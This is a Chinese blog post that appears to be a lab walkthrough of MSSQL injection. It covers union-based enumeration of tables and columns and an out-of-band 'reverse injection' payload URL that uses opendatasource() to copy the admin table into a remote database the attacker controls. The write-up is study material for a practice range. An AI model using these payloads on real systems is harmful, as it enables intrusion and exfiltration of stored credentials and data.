MSSQL—-反弹注入

发布于 2022-03-16  344 次阅读


一、准备环境

公网下的mssql数据库

image-20220102101913370

一个test空表

image-20220102195305391

二、mssql简单知识

mssql中系统自带表

  • sysobjects 记录了所有的表
  • syscolumns 记录了所有的字段 该表中,name参数是字段名,id是表的id

mssql 默认端口号 1433

查表

select id,name from sysobjects where xtype='U'

查字段

select name from syscolumns where id=object_id('表名')

靶场操作

方法一:显错注入

image-20220102101951017
image-20220102102418549

单引号闭合,加上单引号,回显正常

image-20220102102443334

猜字段

image-20220102102525619

三个字段,然后使用联合查询语句

这里需要注意,查询的字段类型必须和当前查询表的数据类型保持一致,而在null这个数据类型可以与其他的类型匹配。

image-20220102103050072

然后通过不断猜测,猜出各个字段的类型

image-20220102103145425

查用户下的所有表

image-20220102104917483

可见,存在一个admin表,查该表中的字段

image-20220102105046671

获取token字段的值

image-20220102105408146

从而获得flag

方法二:反弹注入

原理:将查询的数据插入其他的数据库

用到的函数 opendatasource()

连接数据库.库.权限.表

insert into opendatasource('sqloledb','server=,1433;uid=DB_;pwd=;database=;').DB_14A5E44_zkaq.dbo.temp
  • sqloledb 连接组件,固定
  • server 连接地址,端口号
  • uid 账户名
  • pwd 密码
  • database 数据库
  • dbo 权限
  • temp 表
https://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=,1433;uid=;pwd=;database=;').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe
image-20220102195003802

成功将查询数据导入提前设置好的表中。

补充

堆叠注入

堆叠注入就是多条sql语句叠加在一起执行,通过分号将一条语句分隔。

mssql

MSSQL => SQL Server 常被用在学校网站等等

MSSQL注入和 mysql区别: (大同小异) 函数、系统自带库不太相同